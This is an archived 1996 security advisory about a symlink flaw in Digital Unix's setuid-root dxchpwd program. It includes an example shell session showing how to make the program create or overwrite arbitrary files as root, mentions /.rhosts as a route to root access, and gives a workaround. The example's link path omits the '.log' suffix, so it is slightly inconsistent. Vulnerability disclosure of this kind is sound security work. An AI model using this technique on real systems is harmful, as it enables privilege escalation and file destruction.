home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / digital / digital-.asc
Encoding:
Text File  |  1997-02-23  |  2.1 KB  |  54 lines

  1.  
  2.              BoS: Digital Unix v3.x (v4.x?) security vulnerability
  3.                                        
  4.    Eric Augustus (augustus@mail.stic.net)
  5.    Sun, 17 Nov 1996 00:09:38 +0000
  6.    
  7. In Digital Unix (OSF/1) v3.x, there is a security vulnerability in the
  8. /usr/tcb/bin/dxchpwd program. The dxchpwd is installed as part of the
  9. C2 security package. The dxchpwd can be used to overwrite any file, or
  10. create a file anywhere on the system causing a possible denial of
  11. service and possibly lead to root access.
  12.  
  13. Background: dxchpwd is part of the C2 security package and is setuid
  14. root. It's a GUI interface for a users to change their passwds. As far
  15. as I know, all Digital Unix v3.x versions are vulnerable, and possibly
  16. 4.x.
  17.  
  18. Details: When dxchpwd is run, it creates a log file /tmp/dxchpwd.log
  19. which is root owned and mode 600. If the log file doesn't exist, it
  20. can be symlinked to any existing file, or new file on the system. New
  21. files are created root owned, mode 600.  Existing files retain their
  22. permissions and ownership, but their contents are overwritten. If a
  23. user then attempts to change a passwd, a message similar to the
  24. following is written to the log file:
  25.  
  26. Unknown SIA Prompt: (* Permission denied.
  27.  *) rendition 6
  28.  
  29. In this case, if /.rhosts were symlinked to /tmp/dxchpwd.log, then a
  30. host known as Unknown could possibly gain root access.
  31.  
  32. Example:
  33. $ ls -l /usr/tcb/bin/dxchpwd
  34. -rwsr-xr-x   1 root     bin        49152 Jul 25  1995 /usr/tcb/bin/dxchpwd
  35. $ ls -l /tmp/dxchpwd.log
  36. /tmp/dxchpwd.log not found
  37. $ export DISPLAY=:0     (or a remotehost)
  38. $ ln -s /hackfile /tmp/dxchpwd
  39. $ ls -l /hackfile
  40. /hackfile not found
  41. $ /usr/tcb/bin/dxchpwd
  42. (The dxchpwd window will appear. Just enter root for username
  43.  and anything for the passwd. You'll get a permission denied
  44. message and the window will close.)
  45. $ ls -l /hackfile
  46. -rw-------   1 root     system         0 Nov 16 22:44 /hackfile
  47.  
  48. Fix: Make sure /tmp/dxchpwd.log exists, which is root owned and at
  49. least mode 600 until a patch is available. Of course, the setuid bit
  50. could be removed, but then users couldn't use it to change their
  51. passwds.
  52.  
  53. Gus
  54.